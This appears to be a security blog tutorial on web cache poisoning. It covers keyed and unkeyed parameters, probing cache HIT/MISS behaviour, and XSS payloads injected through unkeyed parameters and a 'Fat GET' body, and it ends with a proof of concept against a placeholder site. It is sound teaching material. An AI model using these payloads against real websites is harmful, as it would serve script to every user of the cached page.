Skip to main content
  1. Posts/

Introduction to Cache Poisoning Attacks

·4 mins
Cache Poisoning Guide
Table of Contents

Terminology
#

Keyed Parameters
#

Keyed parameters are parameters that the cache system considers when storing and retrieving cached content. This means that variations in these parameters will result in different cached entries.

For example, if the URL has parameters such as ?user=123 and the cache is keyed on this parameter, the cache will store and serve different content (cache miss) for ?user=123 and ?user=456.

Unkeyed Parameters
#

Unkeyed parameters are parameters that the cache system ignores when storing and retrieving cached content. This means that variations in these parameters will not result in different cached entries. The cache will store only one version of the content (cache hit), regardless of the variations in these parameters.

Identifying Unkeyed Parameters
#

The first step is to identify unkeyed parameters, since keyed parameters need to be the same when the victim accesses the resource.

Example
#

Assume we open example.com on /page with the following parameters:

GET /page?user=admin&tracking=abc HTTP/1.1
Host: example.com

Since example.com uses caching and we are visiting the page for the first time, we will see a cache MISS:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 456
X-Cache: MISS

<html>
  <head>
    <title>Welcome</title>
  </head>

  <body>
    <p>Welcome, admin!</p>
  </body>
</html>

Now we alter each parameter and check weather we get a cache miss or hit. A cache MISS indicates us that this parameter is keyed, since the server loaded a new version of the website.

GET /page?user=guest&tracking=abc HTTP/1.1
Host: example.com
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 456
X-Cache: MISS

<html>
  <head>
    <title>Welcome</title>
  </head>

  <body>
    <p>Welcome, guest!</p>
  </body>
</html>

Now that we identified the user parameter to be keyed, let’s continue and check the tracking parameter. Before we change the tracking parameter, lets resent our initial request where we got a cache MISS, to verify that the sytem now cached it.

GET /page?user=admin&tracking=abc HTTP/1.1
Host: example.com
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 456
X-Cache: HIT

<html>
  <head>
    <title>Welcome</title>
  </head>

  <body>
    <p>Welcome, admin!</p>
  </body>
</html>

Great. Now, let’s alter the value of the tracking parameter to see whether we get a cache MISS, indicating a keyed parameter, or a HIT again, indicating an unkeyed parameter.

GET /page?user=admin&tracking=some-other-value HTTP/1.1
Host: example.com
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 456
X-Cache: HIT

<html>
  <head>
    <title>Welcome</title>
  </head>

  <body>
    <p>Welcome, admin!</p>
  </body>
</html>

We can observe the tracking parameter must be a unkeyed value, since the cache always returns HIT, even though the value of the parameter was changed.

The same thing also sometimes applies to header values in the HTTP requests.

Exploitation
#

One of the most common ways to exploit cache poisoning is through XSS, though there are other attacks like DoS and unkeyed cookies. To exploit a XSS you have to find an injection point using an unkeyed parameter. The XSS will then be severed to all other users loading that cached version.

Example
#

Imagine we have an injection via the tracking parameter into a meta tag like this:

GET /page?user=admin&tracking=https://mytrack.com HTTP/1.1
...
<meta http-equiv="refresh" content="https://mytrack.com" />
...

As before, when sending the initial request to the server, we will receive a cache MISS. So let us inject a simple XSS payload via the unkeyed tracking parameter "><img/src/onerror=print()>.

Content-Type: text/html
Content-Length: 456
X-Cache: MISS

<html>
  <head>
    <title>Welcome</title>
    <meta http-equiv="refresh" content="https://"><img/src/onerror=print()> />
  </head>

  <body>
    <p>Welcome, admin!</p>
  </body>
</html>

Since tracking is an unkeyed parameter, anybody who visits the page /page?user=admin will be a victim of the XSS attack.

Advanced Techniques
#

There are multiple advanced things we can try to get and escalate a cache poisoning attack. However for now let us focus one just one of those, a “Fat GET”.

Fat GET
#

A “Fat GET” request, is when we use GET parameters in the post body, while still using the GET verb. If a server is misconfigured it might parse the parameters from the body. With this you can try to create a discrepancy between the webserver and the cache. With this we can also use keyed parameters, since they are no longer directly present in the URL. We can then go back and perform an XSS attack the same way we did before.

GET /page?user=admin&tracking=abc HTTP/1.1
Host: example.com

user=guest
Content-Type: text/html
Content-Length: 456
X-Cache: MISS

<html>
  <head>
    <title>Welcome</title>
  </head>

  <body>
    <p>Welcome, guest!</p>
  </body>
</html>
GET /page?user=admin&tracking=abc HTTP/1.1
Host: example.com

user=</p><img/src/onerror=print()><p>
Content-Type: text/html
Content-Length: 456
X-Cache: MISS

<html>
  <head>
    <title>Welcome</title>
  </head>

  <body>
    <p>Welcome, </p><img/src/onerror=print()><p>!</p>
  </body>
</html>

Again, if a victim now opens example.com/page?user=admin the XSS will be loaded from the cache.

A Real Life PoC
#

GET /?cb=100&"><image/src/onerror=print()> HTTP/2
Host: target-website.com
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36

HTTP/2 200 OK
CACHE: HIT
...
<meta property="og:url" content="https://target-website.com/?cb=100&"><image/src/onerror=print()>">
...

In this example, an image tag with an onerror event is injected into the URL parameter. When the server processes this request, the parameter is reflected in the HTML response and cached. Consequently, subsequent users requesting the cached page will execute the malicious JavaScript.

Related

Introduction to NoSQL Injection Attacks
·4 mins
NoSQL Guide
Bluetooth Low Energy Hacking 101
·11 mins
BLE Hardware Guide
Reflected XSS to Account Takeover
·3 mins
XSS ATO Wordpress